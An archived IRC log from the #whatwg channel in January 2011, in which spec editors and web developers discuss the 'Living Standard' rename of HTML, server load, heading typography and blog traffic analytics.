/irc-logs / freenode / #whatwg / 2011-01-20 / end

Options:

  1. # Session Start: Thu Jan 20 00:00:00 2011
  2. # Session Ident: #whatwg
  3. # [00:00] <Hixie> heycam: yeah, there's a lot of traffic.
  4. # [00:00] <Hixie> jacobolus: k
  5. # [00:00] * Quits: bckenny (~bckenny@nat/google/x-vgqixwqtiajfsdzz) (Remote host closed the connection)
  6. # [00:01] <Hixie> i can also just make it smallcaps
  7. # [00:01] <annevk> I will look into caching plugins tomorrow for when we make the next announcement o_O
  8. # [00:01] <annevk> I did not quite anticipate this
  9. # [00:01] <Hixie> hehe
  10. # [00:01] <jacobolus> (also note, I'm not really an expert typographer by any stretch of the imagination)
  11. # [00:02] <benschwarz> jacobolus: capital lines should always be letterspaced
  12. # [00:02] * Hixie restarts the server with a few more simultaneous connections allowed
  13. # [00:02] <benschwarz> but they should be avoided where possible
  14. # [00:03] <jacobolus> benschwarz: yeah, but what about the word WebVVT
  15. # [00:03] <jacobolus> er, WebVTT
  16. # [00:03] <benschwarz> jacobolus: is it a title?
  17. # [00:03] <Hixie> how about http://www.whatwg.org/specs/web-apps/current-work/webvtt.html ?
  18. # [00:03] * _bga is now known as bga_|away
  19. # [00:03] <Hixie> (now smallcaps)
  20. # [00:03] <jacobolus> benschwarz: ↑
  21. # [00:04] * Joins: othermaciej (~mjs@17.246.17.13)
  22. # [00:04] <Hixie> http://www.whatwg.org/specs/web-apps/current-work/complete/ is small caps too now
  23. # [00:04] <benschwarz> sever is getting too smashed, I think
  24. # [00:04] * Quits: chriseppstein (~chris@209.119.65.162) (Quit: chriseppstein)
  25. # [00:05] <Hixie> yeah it's a bit slow to load these giant specs
  26. # [00:05] <Hixie> gotta say, though, the server is handling this way better than last time we got a lot of traffic
  27. # [00:05] <Hixie> and given that it's basically free... can't complain
  28. # [00:06] * Joins: chriseppstein (~chris@209.119.65.162)
  29. # [00:06] <Hixie> is it me or is the h2 on http://www.whatwg.org/specs/web-apps/current-work/multipage/ a different font or something than the h2 on http://www.whatwg.org/specs/web-apps/current-work/complete/ ???
  30. # [00:06] <Hixie> it's the same style sheet...
  31. # [00:06] <Hixie> different top margin, too
  32. # [00:06] <Hixie> wtf
  33. # [00:06] <jacobolus> Hixie: those are loading slow enough that I can't tell you if they're different :)
  34. # [00:07] * bga_|away is now known as bga_
  35. # [00:07] <TabAtkins> It's just you.
  36. # [00:07] * Quits: mdelaney (~mdelaney@2620:0:1b00:1191:d69a:20ff:febf:89a0) (Ping timeout: 272 seconds)
  37. # [00:07] <TabAtkins> I don't see different top margins either. Clear your cache?
  38. # [00:08] <benschwarz> jacobolus: hmm, I'd keep it regular case. The kerning on the We is way off though
  39. # [00:08] <jacobolus> Hixie: I'm not a big fan of the mix of big and small caps there
  40. # [00:08] * Quits: webr3 (~nathan@host86-140-58-69.range86-140.btcentralplus.com) (Ping timeout: 246 seconds)
  41. # [00:09] <jacobolus> benschwarz, Hixie: maybe add the "render this with kerning" CSS for h1s and h2s?
  42. # [00:09] <jacobolus> then the We won't get so much space
  43. # [00:09] <benschwarz> jacobolus: yeah, thats what I stuck into my inspector :)
  44. # [00:09] * Quits: boaz (~boaz@64.119.153.2) (Quit: boaz)
  45. # [00:10] <jacobolus> what's the special css for that?
  46. # [00:10] <benschwarz> https://skitch.com/benschwarz/rkg4x/webvtt
  47. # [00:10] * Quits: Martijnc (~Martijnc@91.176.99.196) (Quit: Martijnc)
  48. # [00:10] <jacobolus> I think firefox does kerning properly regardless these days, no?
  49. # [00:10] <benschwarz> jacobolus: it always has
  50. # [00:10] <jacobolus> well, always since FF3 or something
  51. # [00:10] <roc> yeah, since FF3
  52. # [00:11] <jacobolus> and safari takes the explicit css flag?
  53. # [00:11] <Hixie> what's the magic css to make the browsers slower again?
  54. # [00:11] <benschwarz> jacobolus: yes
  55. # [00:11] <TabAtkins> use ~ combinators?
  56. # [00:11] <roc> text-rendering:optimizeLegibility
  57. # [00:11] <Hixie> thanks
  58. # [00:11] <roc> actually I'm wrong
  59. # [00:11] <benschwarz> Hixie: see the skitch :)
  60. # [00:11] <Hixie> yeah i saw it after asking :-)
  61. # [00:11] <roc> In FF3 we did not do kerning on Windows and X below certain font sizes (20px)
  62. # [00:12] <TabAtkins> Add a "* ~ * * ~ * * ~ * {}" block to your document.
  63. # [00:12] <benschwarz> FF3 came out forever ago, seemingly
  64. # [00:12] <roc> in FF4 we do kerning always
  65. # [00:12] <TabAtkins> Additional benefit - you look like a 13-year old on myspace.
  66. # [00:12] <roc> assuming the font's got it, etc etc
  67. # [00:12] <Hixie> jgraham: pimpmyspec is giving me 500s... maybe because it can't get the source file from whatwg?
  68. # [00:13] <jgraham> Hixie: That would have that effect
  69. # [00:13] <Hixie> k
  70. # [00:13] <Hixie> can you increase the timeout or something? that might solve the problem with when it's the w3c site, too
  71. # [00:14] <frenzz> http://media.tumblr.com/tumblr_leujsqUBpU1qdswit.jpg
  72. # [00:14] <Hixie> (which is usually the problem when there's a 500 fromm pms)
  73. # [00:14] * Joins: webr3 (~nathan@host86-136-179-183.range86-136.btcentralplus.com)
  74. # [00:15] <bga_> frenzz lynx is turtle
  75. # [00:15] <bga_> or owl
  76. # [00:15] <jacobolus> Hixie: anyway, feel free to refer any questions about the typography of headings to benschwarz; the main thing is just letterspacing on "HTML", dunno about "WebTTV" (maybe the TTV part, if you want to add a span), and no extra letterspacing on "Web Applications"
  77. # [00:16] <jgraham> Hixie: Maybe but I really should sleep now and I am not quite sure how to do it
  78. # [00:16] * Quits: richardschwerdtf (~RichS@32.97.110.64) (Quit: richardschwerdtf)
  79. # [00:16] <Hixie> jgraham: k
  80. # [00:16] <Hixie> jgraham: nn
  81. # [00:16] <jgraham> gn :)
  82. # [00:16] <benschwarz> if multi-page is living standard
  83. # [00:16] <benschwarz> I wonder what developers. should be
  84. # [00:16] <Hixie> jacobolus: well they're all small-caps now so they can all have litter-spacing :-)
  85. # [00:17] <heycam> litter-spacing is where the space between two characters is set to the width of a piece of kitty litter
  86. # [00:17] <Hixie> benschwarz: is "Edition for Web Developers" no good?
  87. # [00:17] <heycam> that, or how much space to put between your kittens
  88. # [00:17] <benschwarz> Hixie: well, now you've upped the ante :D
  89. # [00:17] <Hixie> benschwarz: heh
  90. # [00:17] <Hixie> benschwarz: it's said "living standard" for a while now
  91. # [00:18] <heycam> "living standard" makes me think of "living will"
  92. # [00:18] <Hixie> i guess we should get a new right-hand-side banner
  93. # [00:18] <benschwarz> there is something so bad about this
  94. # [00:18] <benschwarz> http://html5.uncontrol.com/
  95. # [00:18] <Hixie> or drop it altogether
  96. # [00:18] <heycam> I promise to turn life support to HTML5 off if it becomes a vegetable
  97. # [00:18] <benschwarz> Hixie: drop it ;)
  98. # [00:19] <Hixie> er, left-hand-side banner
  99. # [00:20] <benschwarz> or there are many things bad about that, I should say
  100. # [00:20] <Hixie> i love how "optimiseLegibility" is written as camelcase in CSS
  101. # [00:20] <Hixie> it's a bit like spelling "spelling" as "spellng"
  102. # [00:21] <roc> yeah they stuffed that up
  103. # [00:21] <Hixie> still getting hits to /specs/web-apps/current-work/multipage/mfavicon.ico btw
  104. # [00:22] <roc> we should add optimize-legibility etc as synonyms
  105. # [00:22] <Hixie> eh, aliases just mean more bugs with no new features
  106. # [00:22] * Quits: paul_irish (~paul_iris@nat/google/x-sbpuqxlkhahwqjyf) (Read error: Connection reset by peer)
  107. # [00:22] <Hixie> i'd just move on
  108. # [00:22] <Hixie> i just think it's funny
  109. # [00:22] * Joins: paul_irish (~paul_iris@nat/google/x-ojlsmydommppozdq)
  110. # [00:22] <othermaciej> benschwarz: omg, HTML5 is the Master Control Program!
  111. # [00:23] <jacobolus> jgraham: if you're really having trouble you could try horse tranquilizers
  112. # [00:23] <Hixie> oh my lord, without the thing on the left the spec feels so naked!
  113. # [00:23] <Hixie> that's gonna take some getting used to
  114. # [00:24] <TabAtkins> I know!
  115. # [00:24] <TabAtkins> Just add a green stripe.
  116. # [00:24] <Hixie> i think it's kinda nice
  117. # [00:24] <Hixie> looks clean
  118. # [00:24] <TabAtkins> Perhaps with "This is the song that never ends...".
  119. # [00:24] * Joins: LuigiMontanez (~Adium@enki.sunlightfoundation.com)
  120. # [00:30] * Quits: Maurice (copyman@5ED573FA.cm-7-6b.dynamic.ziggo.nl)
  121. # [00:30] * Quits: MrOpposite (~mropposit@unaffiliated/mropposite) (Quit: OMG, YOU KILLED OPPO!)
  122. # [00:30] <benschwarz> Hixie: yours better not look better than mine :)
  123. # [00:30] <Hixie> hahaha
  124. # [00:30] <Hixie> no worry of that, believe me
  125. # [00:30] <Hixie> well except for the dom trees unless you've fixed those ;-)
  126. # [00:30] <benschwarz> Hixie: once developers. is ready, we can look at other editions
  127. # [00:30] <benschwarz> Hixie: no, I've been consulting :)
  128. # [00:31] <Hixie> blog comments seem positive so far
  129. # [00:31] <benschwarz> but today I have ab+c time. some whatwg is on my mind
  130. # [00:31] <benschwarz> Hixie: blog comments? on the rename
  131. # [00:32] * Quits: matjas (~matjas@91.182.75.147) (Quit: Computer has gone to sleep.)
  132. # [00:32] <annevk> twitter too
  133. # [00:32] <Hixie> yeah
  134. # [00:32] <Hixie> annevk: cool
  135. # [00:33] <Hixie> does wordpress just randomly make up icons for users who don't have them?
  136. # [00:33] * Joins: matjas (~matjas@91.182.75.147)
  137. # [00:33] * Quits: matjas (~matjas@91.182.75.147) (Client Quit)
  138. # [00:33] <annevk> the twitters also like our tagline
  139. # [00:33] <annevk> Hixie, yeah, before we had some ugly icon so I changed it to make it unique for each of them
  140. # [00:33] <annevk> it's a setting
  141. # [00:34] <Hixie> fun
  142. # [00:34] <Hixie> wow, from the twitters it looks like this change might even cause people to stop focusing on 2022 ;-)
  143. # [00:35] <Hixie> lol, svn.whatwg.org just timed out on me while trying to commit
  144. # [00:35] <Hixie> that could make life fun
  145. # [00:35] <annevk> it only makes sense, now we are always ready
  146. # [00:35] <annevk> and always not
  147. # [00:35] <Hixie> it's amusing how much an announcement can change
  148. # [00:35] <Hixie> i mean, we really didn't change anything today
  149. # [00:36] <Hixie> other than make it impossible for me to edit the sec :-P
  150. # [00:36] <Hixie> spec
  151. # [00:36] * Joins: LuigiMontanez1 (~Adium@enki.sunlightfoundation.com)
  152. # [00:36] * Quits: LuigiMontanez1 (~Adium@enki.sunlightfoundation.com) (Client Quit)
  153. # [00:36] * Joins: frederich (~unitone@unaffiliated/unitone)
  154. # [00:36] <annevk> heh
  155. # [00:36] <benschwarz> Hixie: time to sit back and count our money
  156. # [00:37] <annevk> I think it means we should share our philosophy more
  157. # [00:37] <Hixie> annevk: ok you shouldn't be getting notified anymore if "source" doesn't change. It'll still send you a notification occasionally, e.g. later today when I have to do a forced-submit to make sure everything got updated properly
  158. # [00:37] <Hixie> but not in general
  159. # [00:37] <Hixie> and forced submits will always be editoriol
  160. # [00:37] <annevk> cool
  161. # [00:37] <Hixie> editorial
  162. # [00:37] * Joins: homata (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp)
  163. # [00:37] <annevk> editorial is tweeted too now on request
  164. # [00:37] <Hixie> wtf, we're STILL getting those favicon hits
  165. # [00:37] <Hixie> really!
  166. # [00:37] <Hixie> wow
  167. # [00:38] <Hixie> twitter users are masochists
  168. # [00:38] <benschwarz> whats the favicon story?
  169. # [00:38] <annevk> what we just announced was an editorial change
  170. # [00:38] <annevk> people love the trivia
  171. # [00:38] <Hixie> i guess
  172. # [00:38] <Hixie> benschwarz: dhtml5.org had some bug that was causing whatwg.org to get hits for favicons in weird places
  173. # [00:38] <Hixie> it was fixed but i'm still getting hits
  174. # [00:38] <annevk> the hardcore algorithms are not conversation material
  175. # [00:39] * Quits: karlcow (~karl@nerval.la-grange.net) (Remote host closed the connection)
  176. # [00:39] <Hixie> annevk: you might want to just filter out the commits with message "typo" and "xref" then
  177. # [00:39] * Quits: LuigiMontanez (~Adium@enki.sunlightfoundation.com) (Ping timeout: 240 seconds)
  178. # [00:39] <Hixie> i wonder if someone has it open with an old copy of the page or something
  179. # [00:39] <annevk> Hixie, yeah, that might make sense
  180. # [00:40] <jacobolus> Hixie: I'll leave it to you, but I've never been a fan of small caps mixed with big caps, especially since browsers use the same glyphs for each, but with different scaling, so that the small caps end up looking really wimpy.
  181. # [00:40] <Hixie> annevk: multiple IPs though
  182. # [00:40] <Hixie> jacobolus: i'm gonna leave it for a while, see if it grows on me or not. I'll probably end up changing it back though.
  183. # [00:41] <jacobolus> I like the big HTML though :)
  184. # [00:41] <Hixie> yeah that's gonna stay
  185. # [00:41] <benschwarz> jacobolus: ps. I think your comments are really very poignant re: developers.
  186. # [00:41] <Hixie> i have a class on that h1 so that i can make it stay even if i change the default back :-)
  187. # [00:41] <jacobolus> benschwarz: hrm?
  188. # [00:41] <benschwarz> if you're interested in forking, working out how on earth to build it
  189. # [00:42] <benschwarz> I'd be interested in seeing patches ;)
  190. # [00:42] <Hixie> looks like it's three people who have dhtml5.org open
  191. # [00:42] <Hixie> on an old page
  192. # [00:42] <jacobolus> benschwarz: not quite sure what you're referring to?
  193. # [00:42] <benschwarz> jacobolus: the developer spec
  194. # [00:42] <jacobolus> did I say something about it? other than nice job, it's pretty?
  195. # [00:42] <annevk> Hixie, I meant the filtering of messages that just say "typo" or "xref"
  196. # [00:43] <benschwarz> jacobolus: are you not jrus?
  197. # [00:43] <jacobolus> benschwarz: or the "nice job, it's pretty" was poignant?
  198. # [00:43] <annevk> so the older copy of dhtml5.org changed the favicon on the fly?
  199. # [00:43] <annevk> hilarious
  200. # [00:43] <jacobolus> benschwarz: ah, that's me. okay, gotcha now
  201. # [00:43] <jacobolus> you're welcome
  202. # [00:43] <adactio> Just for the record, I think the "Living Standard" strapline is kind of cheesy. I'd much rather a plain old "HTML."
  203. # [00:44] <benschwarz> my my, its adactio
  204. # [00:44] <Hixie> annevk: ah
  205. # [00:44] <jacobolus> benschwarz: I try my best to be poignant whenever possible
  206. # [00:45] <annevk> adactio, so basically not bother with labeling the document?
  207. # [00:45] <Hixie> adactio: well we need the date, and the date on its own looks silly. having it say "standard" also puts an end to endless discussions about whether it's a draft and whether you can refer to it, etc.
  208. # [00:45] <adactio> annevk: Label it with "HTML"
  209. # [00:45] <Hixie> i like how google hasn't indexed the new title yet so if you do a "latest" search for "html" it says the top link is the spec but has the old title :-)
  210. # [00:46] <jacobolus> benschwarz: if you want to shrink a completely-separate-from-the-text code sample, that's probably fine
  211. # [00:46] <annevk> Hixie, it still says "Working Draft" on the side btw
  212. # [00:46] <adactio> Hixie: I don't think the date on its own looks silly.
  213. # [00:46] <jacobolus> benschwarz: it's just the in-line ones that are distractingly small
  214. # [00:46] <benschwarz> Hixie: fyi. I removed the date entirely from developers.whatwg.org…
  215. # [00:46] <annevk> Hixie, I think we could nuke the sidebar and maybe reduce the margin somewhat?
  216. # [00:46] <TabAtkins> Do the date on its own!
  217. # [00:46] <annevk> Hixie, the graphical sidebar that is
  218. # [00:47] <annevk> TabAtkins, adactio, I think Hixie has a point in that people will ask about it, but I suppose we could have a FAQ entry
  219. # [00:47] <annevk> there is no real reason to have that label
  220. # [00:47] * bga_ is now known as bga_|away
  221. # [00:47] * Quits: Moo-_- (~quassel@herd37.twinapex.fi) (Quit: No Ping reply in 180 seconds.)
  222. # [00:48] <annevk> the only reason we have it is because other standard organizations use such labels
  223. # [00:48] * Quits: nw_ (eero@heaven.unlink.org) (Ping timeout: 255 seconds)
  224. # [00:48] <adactio> annevk: Yes, I think it's a job for the FAQ rather than the spec.
  225. # [00:48] <benschwarz> Hixie: the date is probably too high up the typographic hierarchy…
  226. # [00:48] * Joins: moo (~quassel@herd37.twinapex.fi)
  227. # [00:48] * Quits: sroussey (~sroussey@adsl-69-234-111-42.dsl.irvnca.pacbell.net) (Ping timeout: 250 seconds)
  228. # [00:48] * moo is now known as Guest85253
  229. # [00:48] * Quits: sicking (~chatzilla@nat/mozilla/x-amqoeetdoewmiary) (Ping timeout: 260 seconds)
  230. # [00:49] <Hixie> benschwarz: on developers.whatwg.org the date isn't so critical
  231. # [00:49] <Hixie> annevk: the sidebar has been gone for about 20 minutes now
  232. # [00:49] * Quits: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com) (Remote host closed the connection)
  233. # [00:49] <Hixie> i'm not taking off the "living standard" label right now, since we _just_ blogged that we were adding it, but we can revisit that in a few weeks, certainly
  234. # [00:49] <annevk> o_O
  235. # [00:50] <Hixie> you have to hard-refresh to get style sheet updates
  236. # [00:50] <adactio> Hixie: Okay. An interim measure it is, then.
  237. # [00:50] <annevk> everyone happy, great
  238. # [00:51] <benschwarz> adactio: Hi! We haven't met, yet…
  239. # [00:51] <adactio> benschwarz: Hello. Pleased to meet you.
  240. # [00:51] <Hixie> annevk: do we have any analytics on blog.whatwg.org?
  241. # [00:51] <Hixie> annevk: i'm curious to find out what our top referrers are
  242. # [00:52] <annevk> I think mpilgrim has details on that
  243. # [00:52] <annevk> he set up Google Analytics when he wrote blog entries and it has not been removed from the source code
  244. # [00:52] * Quits: ben_c (~ben_c@cpc3-brig17-2-0-cust939.3-3.cable.virginmedia.com) (Quit: Leaving.)
  245. # [00:53] <Hixie> k
  246. # [00:53] <Hixie> mpilgrim: yt?
  247. # [00:53] <annevk> http://news.ycombinator.com/item?id=2121356 is probably one of them by the way
  248. # [00:53] * Joins: ben_c (~ben_c@cpc3-brig17-2-0-cust939.3-3.cable.virginmedia.com)
  249. # [00:53] <benschwarz> adactio: I'm from ab-c.com.au, we're new :0)
  250. # [00:53] <benschwarz> annevk: hacker news is only good for a few hundred hits
  251. # [00:53] * Joins: sicking (~chatzilla@nat/mozilla/x-jdvntjektafracje)
  252. # [00:54] <adactio> benschwarz: you did the CSS for the author spec, right? Nice work.
  253. # [00:54] <benschwarz> adactio: Yeah, I've been trying to move along on developers.whatwg.org too, Christmas break was too short though
  254. # [00:56] * Quits: ap (~ap@17.246.18.214) (Remote host closed the connection)
  255. # [00:56] * Joins: ap (~ap@17.203.15.167)
  256. # [00:57] * Guest85253 is now known as moo-_^
  257. # [00:58] * Joins: nw_ (eero@heaven.unlink.org)
  258. # [00:58] * Joins: daedb_ (~daed@78-72-108-100-no178.tbcn.telia.com)
  259. # [01:00] * Quits: daedb (~daed@78-72-108-100-no178.tbcn.telia.com) (Ping timeout: 250 seconds)
  260. # [01:01] * Quits: Aleoss112 (~AleossIRC@204-83-16-179.regn.hsdb.sasknet.sk.ca) (Quit: We love you, Dark Continent! Good night!)
  261. # [01:01] * Quits: FireFly (~firefly@1-1-3-36a.tul.sth.bostream.se) (Quit: swatted to death)
  262. # [01:01] * bga_|away is now known as bga_
  263. # [01:01] * Joins: Aleoss (~AleossIRC@unaffiliated/aleoss)
  264. # [01:02] * Quits: paul_irish (~paul_iris@nat/google/x-ojlsmydommppozdq) (Remote host closed the connection)
  265. # [01:02] * Joins: mdelaney (~mdelaney@2620:0:1b00:1191:d69a:20ff:febf:89a0)
  266. # [01:05] * Joins: jochen___ (~jochen@nat/google/x-erfqpjfouqmxdbqf)
  267. # [01:06] * Joins: paul_irish (~paul_iris@nat/google/x-czabsztbkjqxslln)
  268. # [01:06] <annevk> adactio, thanks btw for pushing the envelope!
  269. # [01:07] <annevk> and to everyone else who cares about little details that make this great
  270. # [01:07] <adactio> annevk: no problemo. I don't contribute much, but I'm happy when I can.
  271. # [01:07] * Quits: jamund (~jamund@24-104-129.146.hfc.mediarain.com) (Quit: jamund)
  272. # [01:08] * Quits: jochen__ (~jochen@nat/google/x-exdbitvfoijhktbz) (Ping timeout: 255 seconds)
  273. # [01:08] * jochen___ is now known as jochen__
  274. # [01:11] <mpilgrim> hixie: here
  275. # [01:12] <Hixie> mpilgrim: can you get us analytics for the recent post?
  276. # [01:13] <mpilgrim> 7418 pageviews
  277. # [01:13] <mpilgrim> 102 sources
  278. # [01:13] <mpilgrim> daringfireball.net: 1050 hits
  279. # [01:13] <mpilgrim> news.ycombinator.com: 1045 hits
  280. # [01:13] <mpilgrim> reddit.com: 592 hits
  281. # [01:13] <mpilgrim> twitter: 566 hits
  282. # [01:14] <mpilgrim> google: 410 hits
  283. # [01:14] <mpilgrim> drops off after that
  284. # [01:14] * Quits: tndH (~Rob@cpc15-seac19-2-0-cust232.7-2.cable.virginmedia.com) (Quit: ChatZilla 0.9.86-rdmsoft [XULRunner 1.9.0.1/2008072406])
  285. # [01:17] <Hixie> cool, thanks
  286. # [01:17] * Quits: sethladd (~sethladd@nat/google/x-yspbnqyqsybitimz) (Quit: sethladd)
  287. # [01:18] * Joins: sethladd (~sethladd@nat/google/x-ttvilhhlgxxekafz)
  288. # [01:18] * Quits: yoroy (~yoroy@ip46-91-210-87.adsl2.static.versatel.nl) (Quit: yoroy)
  289. # [01:19] * Quits: roc (~chatzilla@203-97-204-82.dsl.clear.net.nz) (Ping timeout: 255 seconds)
  290. # [01:19] * Joins: nurse (~nurse@2001:240:629::6)
  291. # [01:19] <annevk> mpilgrim, could you add annevankesteren@gmail.com as user?
  292. # [01:20] <annevk> from a brief look at what I used to have that seems to be possible, but I am not sure
  293. # [01:21] <mpilgrim> done
  294. # [01:21] <mpilgrim> i think
  295. # [01:21] * Joins: realityking (~realityki@g228170002.adsl.alicedsl.de)
  296. # [01:21] <Hixie> ooh ooh add me! add me!
  297. # [01:21] <Hixie> ian.hickson@gmail.com
  298. # [01:21] <mpilgrim> try https://www.google.com/analytics/reporting/?id=12053975
  299. # [01:22] <Hixie> gotta go, bbiab
  300. # [01:22] <annevk> http://daringfireball.net/linked/2011/01/19/ped-score o_O
  301. # [01:22] <annevk> cool
  302. # [01:22] <annevk> thanks
  303. # [01:22] * Quits: jet_p70qw (~jet_p70qw@c-75-72-244-165.hsd1.mn.comcast.net)
  304. # [01:24] <bga_> does whatwg has own logo?
  305. # [01:25] <ben_c> yeah, and it covers whatwg, w3c, google and bananas
  306. # [01:25] * Joins: sroussey (~sroussey@adsl-69-234-111-42.dsl.irvnca.pacbell.net)
  307. # [01:26] <TabAtkins> Anybody know much about the USB HID standard? I'm looking to sanity check an idea.
  308. # [01:26] <bga_> i see. thanks
  309. # [01:26] <ben_c> bga_: there's actually the green question mark in the circle
  310. # [01:27] <annevk> bga_, http://www.whatwg.org/images/logo
  311. # [01:27] * Quits: sicking (~chatzilla@nat/mozilla/x-jdvntjektafracje) (Remote host closed the connection)
  312. # [01:32] * Quits: othermaciej (~mjs@17.246.17.13) (Quit: othermaciej)
  313. # [01:32] * Quits: chriseppstein (~chris@209.119.65.162) (Quit: chriseppstein)
  314. # [01:33] * Joins: chriseppstein (~chris@209.119.65.162)
  315. # [01:35] * Joins: wakaba_ (~wakaba_@122x221x184x68.ap122.ftth.ucom.ne.jp)
  316. # [01:36] * Joins: wakaba_0 (~wakaba_@122x221x184x68.ap122.ftth.ucom.ne.jp)
  317. # [01:40] * Joins: imajes (~imajes@host-67-23-79-82.biznesshosting.net)
  318. # [01:41] * Quits: dglazkov (d8ef2d04@gateway/web/freenode/ip.216.239.45.4) (Ping timeout: 265 seconds)
  319. # [01:42] * Joins: homata___ (~homata_@58x158x182x50.ap58.ftth.ucom.ne.jp)
  320. # [01:44] * Quits: sethladd (~sethladd@nat/google/x-ttvilhhlgxxekafz) (Quit: sethladd)
  321. # [01:47] * Quits: homata___ (~homata_@58x158x182x50.ap58.ftth.ucom.ne.jp) (Remote host closed the connection)
  322. # [01:47] * Joins: nattokirai (~nattokira@rtr.mozilla.or.jp)
  323. # [01:50] * Parts: adactio (~adactio@cust217-dsl91-135-3.idnet.net)
  324. # [01:54] * Joins: agektmr (~Adium@p4130-ipbf4203marunouchi.tokyo.ocn.ne.jp)
  325. # [01:54] * Quits: agektmr (~Adium@p4130-ipbf4203marunouchi.tokyo.ocn.ne.jp) (Client Quit)
  326. # [01:58] * Quits: chriseppstein (~chris@209.119.65.162) (Quit: chriseppstein)
  327. # [01:58] * Quits: mpilgrim (~pilgrim@rrcs-24-206-36-125.midsouth.biz.rr.com) (Ping timeout: 276 seconds)
  328. # [02:00] * Joins: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net)
  329. # [02:03] * Joins: boaz (~boaz@c-24-128-79-120.hsd1.ma.comcast.net)
  330. # [02:04] * Joins: homata__ (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp)
  331. # [02:06] * Quits: homata (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp) (Ping timeout: 255 seconds)
  332. # [02:15] * Quits: inkbase (~Inkbase@nat/ibm/x-smzsstitpriknbou) (Quit: inkbase)
  333. # [02:17] * Quits: mloki (~mloki__@x1-6-00-10-a7-28-f3-47.k765.webspeed.dk) (Quit: Leaving)
  334. # [02:18] * Quits: mpt (~mpt@canonical/mpt) (Ping timeout: 240 seconds)
  335. # [02:20] * Quits: annevk (~annevk@5355737B.cm-6-6b.dynamic.ziggo.nl) (Quit: annevk)
  336. # [02:21] * Joins: Duke___ (~duke@187.57.241.156)
  337. # [02:22] * Parts: koesbong (~koes@c-98-246-12-28.hsd1.or.comcast.net)
  338. # [02:25] * Quits: mdelaney (~mdelaney@2620:0:1b00:1191:d69a:20ff:febf:89a0) (Quit: mdelaney)
  339. # [02:26] * Joins: wilhelm (wilhelm@trivini.no)
  340. # [02:27] * Quits: MikeSmith (~MikeSmith@EM111-188-46-34.pool.e-mobile.ne.jp) (Ping timeout: 255 seconds)
  341. # [02:30] * Quits: variable (~variable@unaffiliated/variable) (Read error: Connection timed out)
  342. # [02:31] * Joins: variable (~variable@unaffiliated/variable)
  343. # [02:32] * Joins: MikeSmith (~MikeSmith@EM114-48-79-91.pool.e-mobile.ne.jp)
  344. # [02:36] * Joins: othermaciej (~mjs@c-24-6-209-6.hsd1.ca.comcast.net)
  345. # [02:37] * Quits: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net) (Quit: Leaving.)
  346. # [02:42] * Joins: oliverkierepka (~chatzilla@dsdf-4d0a1734.pool.mediaWays.net)
  347. # [02:43] * Parts: oliverkierepka (~chatzilla@dsdf-4d0a1734.pool.mediaWays.net)
  348. # [02:44] * Joins: oliverkierepka (~chatzilla@dsdf-4d0a1734.pool.mediaWays.net)
  349. # [02:45] * Quits: dbaron (~dbaron@nat/mozilla/x-qgrdsbekktnszneh) (Ping timeout: 265 seconds)
  350. # [02:45] * Joins: kanru (~kanru@kanru-1-pt.tunnel.tserv15.lax1.ipv6.he.net)
  351. # [02:52] * Quits: Aleoss (~AleossIRC@unaffiliated/aleoss) (Read error: Connection reset by peer)
  352. # [02:53] * Joins: Aleoss (~AleossIRC@unaffiliated/aleoss)
  353. # [03:00] * Quits: ap (~ap@17.203.15.167) (Quit: ap)
  354. # [03:01] * Joins: mpt (~mpt@66.226.254.2)
  355. # [03:01] * Quits: mpt (~mpt@66.226.254.2) (Changing host)
  356. # [03:01] * Joins: mpt (~mpt@canonical/mpt)
  357. # [03:09] * Joins: agektmr (~Adium@u653074.xgsnu5.imtp.tachikawa.mopera.net)
  358. # [03:10] * Quits: variable (~variable@unaffiliated/variable) (Read error: Connection timed out)
  359. # [03:10] * Joins: variable (~variable@unaffiliated/variable)
  360. # [03:13] * Joins: realityking_ (~realityki@f049233099.adsl.alicedsl.de)
  361. # [03:15] * Quits: realityking (~realityki@g228170002.adsl.alicedsl.de) (Ping timeout: 240 seconds)
  362. # [03:15] * realityking_ is now known as realityking
  363. # [03:18] * Joins: bckenny (~bckenny@nat/google/x-unjzeibfdmttsgwn)
  364. # [03:19] * Quits: jaket (~jake@124-171-43-224.dyn.iinet.net.au) (Quit: jaket)
  365. # [03:21] * Joins: sethladd (~sethladd@nat/google/x-nbzlwfsqtxjdgpyc)
  366. # [03:22] * Joins: mpilgrim (~pilgrim@rrcs-24-206-36-125.midsouth.biz.rr.com)
  367. # [03:24] * Quits: webr3 (~nathan@host86-136-179-183.range86-136.btcentralplus.com) (Ping timeout: 260 seconds)
  368. # [03:29] * Joins: webr3 (~nathan@host86-133-149-132.range86-133.btcentralplus.com)
  369. # [03:29] * Joins: karlcow (~karl@nerval.la-grange.net)
  370. # [03:34] * Joins: oliverkierepka_ (~chatzilla@dsdf-4db52ac3.pool.mediaWays.net)
  371. # [03:35] * Quits: oliverkierepka (~chatzilla@dsdf-4d0a1734.pool.mediaWays.net) (Ping timeout: 240 seconds)
  372. # [03:35] * oliverkierepka_ is now known as oliverkierepka
  373. # [03:38] * Quits: sethladd (~sethladd@nat/google/x-nbzlwfsqtxjdgpyc) (Quit: sethladd)
  374. # [03:39] * Quits: Aleoss (~AleossIRC@unaffiliated/aleoss) (Read error: Connection reset by peer)
  375. # [03:40] * Joins: Aleoss (~AleossIRC@unaffiliated/aleoss)
  376. # [03:40] * Quits: seventh (seventh@69.80.99.125) (Ping timeout: 260 seconds)
  377. # [03:41] * Quits: paul_irish (~paul_iris@nat/google/x-czabsztbkjqxslln) (Remote host closed the connection)
  378. # [03:45] * Joins: paul_irish (~paul_iris@67.218.109.13)
  379. # [03:46] * Joins: Silanus (~silanus@p5DDE9499.dip.t-dialin.net)
  380. # [03:48] * Quits: Silanus_ (~silanus@p5DDE9EAE.dip.t-dialin.net) (Ping timeout: 240 seconds)
  381. # [03:49] <jacobolus> mpilgrim: I know it's 60% off, but do you really expect us to buy the dead tree version of the html5 book when it's missing all the cute illustrations?
  382. # [03:51] <jacobolus> (I was sad to see them gone when I finally looked at a copy in a bookstore recently)
  383. # [03:51] <paul_irish> illustrations++
  384. # [03:51] * Joins: Jacky (40b44962@gateway/web/freenode/ip.64.180.73.98)
  385. # [03:52] <jacobolus> oh wait, is the 60% off only for the ebook?
  386. # [03:52] * Joins: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net)
